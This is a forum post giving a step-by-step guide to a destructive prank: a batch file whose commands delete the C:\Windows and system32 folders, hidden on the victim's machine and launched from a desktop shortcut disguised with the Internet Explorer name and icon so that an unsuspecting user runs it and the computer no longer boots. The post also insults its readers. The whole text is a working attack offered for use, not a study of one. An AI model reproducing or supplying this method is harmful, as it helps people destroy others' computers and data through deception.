Forgot to mention the first time:
If you are stupid enough to run this on your own computer, you deserve it. Use common sense.
Alright, so for many of you, you know about the shortcut trick that makes someone think the computer is infected at the sight of a forced shutdown message caused by a shortcut targeted at a MS-DOS command to shutdown, correct?
Well, basically, this is just a combination of an actual mini-virus and that fake virus.
If you don't understand how to do this, go die.
1. Open notepad.
2. In notepad, copy and paste this information:
Code:
@echo off
@del C:\Windows\
@del C:\Windows\system32\
pause
end
This is code for a batch program. What it's telling the command prompt to do is delete the Windows and Windows\system32 folder and everything in it.
That's everything Windows needs to run.
3. Save it as something
.bat. This MUST be a .bat file for this to work.
4. Hide the file somewhere where the average "Computer? Oh, good I gotta' check my Myspace." person would be too computer-illiterate to check.
but, remember where it is because you'll have to find it in a second.
5. Go to your desktop, and right click. Click on New> Shortcut.
6. In the target, Browse for the .bat file we just made.
7. When the location of the .bat file is in the box, at the very end of the line, add '-y' to it. This should automatically tell it to answer with 'Y' when the .bat asks if the user is sure to delete the said folders.
8. Click next and name the shortcut 'Internet Explorer' to finish the Shortcut wizard.
9. Now, right click on the shortcut on the desktop, and click Properties.
10. Click 'Change Icon...' You'll get an error, just click ok.
11. In this box, find the IE 'E' icon. Click it, then click ok. then close the Properties window.
Now, from now on, whenever you run that shortcut, it'll run the virus (.bat file we made).
From what I know, I believe nothing with happen, but the comp. might freeze up. however, when the user attempts to restart or turn the computer back on, it won't boot up.
Enjoy.
Linear Mode
